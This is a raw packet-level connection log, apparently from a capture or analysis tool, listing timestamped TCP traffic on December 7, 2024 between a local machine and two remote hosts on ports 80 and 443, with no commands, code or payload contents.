Dec 7, 2024 15:06:16.790529966 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.790579081 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.790631056 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.791208029 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.791271925 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.791404009 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.791450977 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.792202950 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.792265892 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.792292118 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.792331934 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.793204069 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.793250084 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.793467999 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.793518066 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.794131041 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.794173002 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.794248104 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.794284105 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.795105934 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.795151949 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.795188904 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.795232058 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.796190977 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.796231985 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.796262980 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.796305895 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.796991110 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.797044992 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.797055006 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.797094107 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.797931910 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.797976017 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.798049927 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.798089027 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.798856974 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.798906088 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.854581118 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.854604006 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.854708910 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.854708910 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.854979992 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.855031013 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.855070114 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.855110884 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.856054068 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.856105089 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.856142044 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.856188059 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.856899023 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.856945992 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.856982946 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.857022047 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.857815027 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.857877016 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.857899904 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.857942104 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.858706951 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.858808994 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.858815908 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.858853102 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.859575033 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.859628916 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.859756947 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.859801054 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.860523939 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.860589027 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.860716105 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.860765934 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.861459970 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.861512899 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.861546040 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.861589909 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.862375975 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.862421989 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.862427950 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.862466097 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.863282919 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.863338947 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.863408089 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.863446951 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.864214897 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.864254951 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.864358902 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.864401102 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.865123987 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.865159035 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.865168095 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.865197897 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.866065979 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.866077900 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.866117954 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.866137028 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.866959095 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.867003918 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.867079973 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.867120028 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.867933035 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.867980003 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.867995977 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.868040085 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.868809938 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.868855000 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.868917942 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.868957996 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.869713068 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.869760036 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.869829893 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.869868040 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.870810986 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.870847940 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.870861053 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:16.870866060 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.870882034 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.870909929 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:16.870969057 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:16.871589899 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.871629000 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.871673107 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.871716976 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.872474909 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.872546911 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.872549057 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.872590065 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.873392105 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.873466969 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.873502016 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.873545885 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.874336004 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.874433994 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.874602079 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.874641895 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.874806881 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:16.875289917 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.875333071 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.875360012 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.875396967 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.875847101 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:16.875894070 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:16.875955105 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:16.875992060 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:16.876174927 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.876214981 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.876286983 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.876327991 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.877091885 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.877137899 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.877203941 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.877244949 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.878022909 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.878068924 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.878189087 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.878230095 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.878797054 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:16.878909111 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.878952980 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.879024029 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.879066944 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.879820108 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.879869938 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.879941940 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.879983902 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.880764961 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.880829096 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.880863905 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.880906105 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.881107092 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:16.881711006 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.881773949 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.881858110 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.881901026 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.882577896 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.882638931 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.882695913 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.882740021 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.883291006 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:16.883522987 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.883578062 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.883615017 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.883656025 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.884430885 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.884474039 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.884648085 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.884690046 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.885406971 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.885449886 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.885469913 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.885508060 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.886414051 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.886460066 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.886621952 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.886665106 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.887351990 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.887407064 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.914376020 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.914422035 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.914530039 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.914849043 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.914886951 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.914886951 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.915062904 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.915107965 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.915805101 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.915853977 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.915859938 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.915900946 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.916747093 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.916794062 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.916848898 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.916892052 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.917602062 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.917646885 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.917682886 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.917726040 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.918499947 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.918553114 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.918564081 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.918606043 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.919404984 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.919447899 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.919456959 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.919501066 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.982175112 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.982259035 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.982287884 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.982335091 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.982635975 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.982690096 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.982762098 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.982804060 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.983555079 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.983597994 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.983634949 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.983685970 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.984482050 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.984549046 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.984550953 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.984595060 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.985418081 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.985469103 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.985517025 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.985555887 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.986361027 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.986402988 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.986439943 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.986481905 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.987394094 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.987437010 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.987441063 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.987476110 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.988226891 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.988279104 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.988285065 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.988326073 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.989082098 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.989126921 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.989181995 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.989222050 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.990005970 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.990055084 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.990078926 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.990123034 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.998498917 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:17.002991915 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:17.046596050 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.046631098 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.046670914 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.046709061 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.046835899 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.046885967 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.046938896 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.046983004 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.047792912 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.047843933 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.047867060 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.047914028 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.048736095 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.048790932 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.048835039 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.048887014 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.049631119 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.049685955 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.049761057 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.049808979 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.050538063 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.050587893 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.050656080 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.050703049 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.051491022 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.051546097 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.051578045 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.051625967 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.052431107 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.052495003 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.052544117 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.052597046 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.053348064 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.053402901 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.053436995 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.053487062 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.054261923 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.054284096 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.054320097 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.054358006 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.055193901 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.055248022 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.055301905 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.055351019 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.056128025 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.056155920 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.056176901 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.056200027 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.056968927 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.057027102 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.057059050 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.057100058 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.057885885 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.057930946 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.057991982 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.058038950 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.058809042 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.058867931 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.058949947 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.058999062 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.059726954 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.059778929 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.059855938 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.059905052 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.060712099 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.060758114 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.060925961 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.060973883 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.061606884 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.061660051 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.061779976 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.061821938 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.062505007 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.062557936 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.062619925 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.062659979 CET	49706	80	192.168.2.8	185.215.113.206
